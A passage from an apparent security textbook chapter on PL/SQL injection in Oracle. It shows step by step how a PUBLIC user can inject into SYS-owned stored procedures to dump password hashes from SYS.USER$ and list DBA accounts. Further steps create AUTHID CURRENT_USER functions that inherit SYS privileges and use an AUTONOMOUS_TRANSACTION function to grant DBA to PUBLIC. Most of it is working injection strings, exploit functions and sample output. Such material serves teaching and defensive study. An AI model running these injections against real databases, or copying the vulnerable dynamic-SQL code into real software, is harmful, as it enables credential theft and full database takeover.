PLSQL Injection

PL/SQL Injection

In this section we discuss PL/SQL Injection, an important attack technique relating to stored procedures in Oracle. Using PL/SQL Injection, attackers can potentially elevate their level of privilege from a low-level PUBLIC account to an account with DBA-level privileges. The technique relates to almost all versions of Oracle, and can be used to attack custom stored procedures as well as those supplied with Oracle itself.

Injecting into SELECT Statements

This section examines how to inject into SELECT statements.

A Simple Example

Consider the code of this procedure and assume it is owned by SYS and can be executed by PUBLIC:

 CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN       DBMS_OUTPUT.ENABLE(1000000);       OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = '''   P_OWNER  ''' AND OBJECT_TYPE=''LIBRARY''';       LOOP             FETCH CV INTO buffer;             DBMS_OUTPUT.PUT_LINE(BUFFER);             EXIT WHEN CV%NOTFOUND;       END LOOP;       CLOSE CV; END; / 

This procedure lists all libraries owned by a given user ”the user being supplied by the person executing the procedure. The list of libraries is then echoed to the terminal using DBMS_OUTPUT.PUT_LINE. The procedure would be executed as follows :

 SET SERVEROUTPUT ON EXEC SYS.LIST_LIBRARIES('SYS'); 

This procedure is vulnerable to SQL injection. The user executing the procedure can enter a single quote to "break out" from the original code-defined query and insert his own additional query. Because Oracle doesn't batch queries like Microsoft SQL Server does, it has traditionally been believed that attackers are capable of performing only UNION SELECT queries in such situations. You'll see that this is not the case shortly. Before that, however, let's look at how a UNION SELECT can be injected to return the password hashes for each user stored in the SYS.USER$ table.

 SET SERVEROUTPUT ON EXEC SYS.LIST_LIBRARIES('FOO'' UNION SELECT PASSWORD FROM SYS.USER$--'); 

On running this query, rather than the original code-defined query of

 SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER =  'FOO' AND OBJECT_TYPE='LIBRARY' 

executing, the following executes instead:

 SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER =  'FOO' UNION SELECT  PASSWORD FROM SYS.USER$ --' AND OBJECT_TYPE='LIBRARY' 

The double minus sign at the end denotes a comment in Oracle queries and effectively chops off the ' AND OBJECT_TYPE='LIBRARY' . When the query runs, the list of password hashes is output to the terminal. If we want to get both the password hash and the username out we try

 EXEC SYS.LIST_LIBRARIES('FOO'' UNION SELECT NAME,PASSWORD FROM SYS.USER$--'); 

But this returns an error:

 ORA-01789: query block has incorrect number of result columns ORA-06512: at "SYS.LIST_LIBRARIES", line 6 

We could get out the usernames on their own, just as we have done with the password hashes, but there's no guarantee that the two will match up. (The password hash is directly related to the username in Oracle and so when cracking Oracle passwords it's important to have the right username go with the right hash.) How then do you get the two out together? For this you need to create your own function and, as you'll see, this resolves the problem of Oracle not batching queries.

Injecting Attacker-Defined Functions to Overcome Barriers

So, we have a procedure, LIST_LIBRARIES, that we can inject into and return data from a single column. (If you didn't read the text of the preceding "A Simple Example" section, I'd recommend doing so, so we're all on the same page.) We want, however, to return the data from two or more rows but using a UNION SELECT we can't do that all together. To do this we're going to create our own function that performs the work and inject this into the procedure. Assuming we want to grab the USER# (a number), the NAME (a varchar2), and the password (a varchar2) from SYS.USER$, we could create the following function:

 CREATE OR REPLACE FUNCTION GET_USERS RETURN VARCHAR2 AUTHID CURRENT_USER AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; U VARCHAR2(200); P VARCHAR2(200); N NUMBER; BEGIN DBMS_OUTPUT.ENABLE(1000000);       OPEN CV FOR 'SELECT USER#,NAME,PASSWORD FROM SYS.USER$';       LOOP             FETCH CV INTO N,U,P;             DBMS_OUTPUT.PUT_LINE('USER#: '  N   ' NAME '  U  ' PWD '  P);             EXIT WHEN CV%NOTFOUND;       END LOOP;       CLOSE CV;       RETURN 'FOO'; END; 

Once created we can then inject this into LIST_LIBRARIES:

 EXEC SYS.LIST_LIBRARIES('FOO''  SCOTT.GET_USERS--'); 

giving us the output

 USER#: 0 NAME SYS PWD 2696A092833AFD9A USER#: 1 NAME PUBLIC PWD USER#: 2 NAME CONNECT PWD USER#: 3 NAME RESOURCE PWD USER#: 4 NAME DBA PWD USER#: 5 NAME SYSTEM PWD EED9B65CCECDB2EA .. .. 

Using this method of injecting a function also helps in those procedures where the results of a query are not output. Note that when we created our function we used the AUTHID CURRENT_USER keyword. The reason for this is because if we didn't, then the function, as it's been defined by us, will run with our privileges ” essentially losing all those juicy powerful DBA privs. By setting the AUTHID CURREN_USER keyword, when LIST_LIBRARIES executes our function, our function assumes or inherits the privileges of SYS.

Consider the following function owned and defined by SYS. This is not a function that actually exists in the RDBMS but assume that SYS has created it.

 CREATE OR REPLACE FUNCTION SELECT_COUNT(P_OWNER VARCHAR2) RETURN NUMBER IS CNT NUMBER; STMT VARCHAR2(200); BEGIN STMT:='SELECT COUNT(*) FROM ALL_OBJECTS WHERE OWNER='''  P_OWNER  ''''; EXECUTE IMMEDIATE STMT INTO CNT; RETURN CNT; END; / 

This function returns the number of rows a user owns in ALL_OBJECTS. For example, we could run

 SELECT SYS.SELECT_COUNT('SYS') FROM DUAL; 

to have the number of objects listed in ALL_OBJECTS and owned by the SYS user. This function, when executed, will run with the privileges of SYS. Although it's vulnerable to SQL injection, a number of problems need to be worked around before anything useful can be done with it. First, the function returns a number, so this means that we can't do a union select on string data:

 SELECT SYS.SELECT_COUNT('SYS'' UNION SELECT PASSWORD FROM SYS.USER$ WHERE NAME=''SYS''--') FROM DUAL; 

This returns

 ORA-01790: expression must have same datatype as corresponding expression. 

We can't even do a union select on numeric data. Running

 SELECT SYS.SELECT_COUNT('SYS'' UNION SELECT USER# FROM SYS.USER$ WHERE NAME=''SYS''--') FROM DUAL; 

returns

 ORA-01422: exact fetch returns more than requested number of rows. 

The second problem that needs to be overcome is that nothing is echoed back to the terminal, so even if we could do a decent union select or subselect how would we get the data back out? Running a subselect , for example

 SELECT SYS.SELECT_COUNT('SYS'' AND OBJECT_NAME = (SELECT PASSWORD FROM  SYS.USER$ WHERE NAME=''SYS'')--') FROM DUAL; 

just returns 0.

To resolve these problems we can use our function again and then inject our function into the vulnerable SYS function. What's more is that we're not just limited to running a single query. We can run a number of separate SELECTs:

 CONNECT SCOTT/TIGER@ORCL SET SERVEROUTPUT ON CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFF VARCHAR2(30); STMT VARCHAR2(200); BEGIN DBMS_OUTPUT.ENABLE(1000000);       STMT:='SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''';       EXECUTE IMMEDIATE STMT INTO BUFF;       DBMS_OUTPUT.PUT_LINE('SYS PASSWORD HASH IS '  BUFF);       OPEN CV FOR 'SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE=''DBA''';       LOOP             FETCH CV INTO BUFF;             DBMS_OUTPUT.PUT_LINE(BUFF  ' IS A DBA.');             EXIT WHEN CV%NOTFOUND;       END LOOP;       CLOSE CV;              RETURN 'FOO'; END; / GRANT EXECUTE ON GET_IT TO PUBLIC; 

When run with the appropriate privileges, this function will spit out the password hash for the SYS user and dump the list of users that has been assigned the DBA role. Again, note that this function has been created using the AUTHID CURRENT_USER keyword. This is because if it wasn't defined when called it would run with the privileges of SCOTT, and SCOTT doesn't have access to the SYS.USER$ or the DBA_ROLE_PRIVS table. Because we'll be injecting this function into the SYS.SELECT_COUNT function, which runs with the privileges of the SYS user, due to the use of the AUTHID CURRENT_USER keyword our GET_IT function will assume the privileges of SYS. With the function created it can now be used in the injection:

 SELECT SYS.SELECT_COUNT('FOO''  SCOTT.GET_IT()--') FROM DUAL; 

The query executed fine but where are the results of our function? They're there ”you just can't see them yet ”even though we've set the server output to on. This is the result of an output buffering issue. When DBMS_OUTPUT.PUT_LINE is called from with a select statement, the output is buffered. To out the output we need to execute

 EXEC DBMS_OUTPUT.PUT_LINE('OUTPUT'); 

and we get

 SYS PASSWORD HASH IS 2696A092833AFD9A SYS IS A DBA. WKSYS IS A DBA. SYSMAN IS A DBA. SYSTEM IS A DBA. OUTPUT PL/SQL procedure successfully completed. 

To avoid this buffering problem we could just execute the following:

 DECLARE CNT NUMBER; BEGIN CNT:=SYS.SELECT_COUNT('SYS''  SCOTT.GET_IT()--'); DBMS_OUTPUT.PUT_LINE(CNT); END; / 

Doing More Than Just SELECT

With the use of our own attacker defined function you can see that even those PL/SQL programs that at first don't seem to be abusable even though they are vulnerable to SQL injection can be abused to take nefarious actions.

There seem to be some limitations to injecting and running attacker-supplied functions. It appears we can perform only SELECT queries. If we try to execute DDL or DML statements or anything that requires a COMMIT or ROLLBACK, then attempting to do so will churn out the error

 ORA-14552: cannot perform a DDL, commit or rollback inside a query or DML 

For example, if we create a function like

 CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR2 AUTHID CURRENT_USER IS BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; END; / GRANT EXECUTE ON GET_DBA TO PUBLIC; 

and try to inject it we get this error. In more recent versions of Oracle this problem can be solved with the use of the AUTONOMOUS_TRANSACTION pragma. Using AUTONOMOUS_TRANSACTION in a procedure or function tells Oracle that it will execute as a whole with no problems so no transaction is required or rollback or commit. It was introduced in Oracle 8i. By adding this to our function:

 CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR2 AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; END; / 

and then injecting it there are no problems. DBA is granted to PUBLIC. This can be used to perform INSERTS, UPDATES, and so on as well. If the version of Oracle in question is earlier than 8i, though, you'll be able to perform SELECTs only if you're injecting into a procedure that performs a select. Because Oracle 8 and 7 are still quite common, let's look at injecting without the use of AUTONOMOUS_TRANSACTION.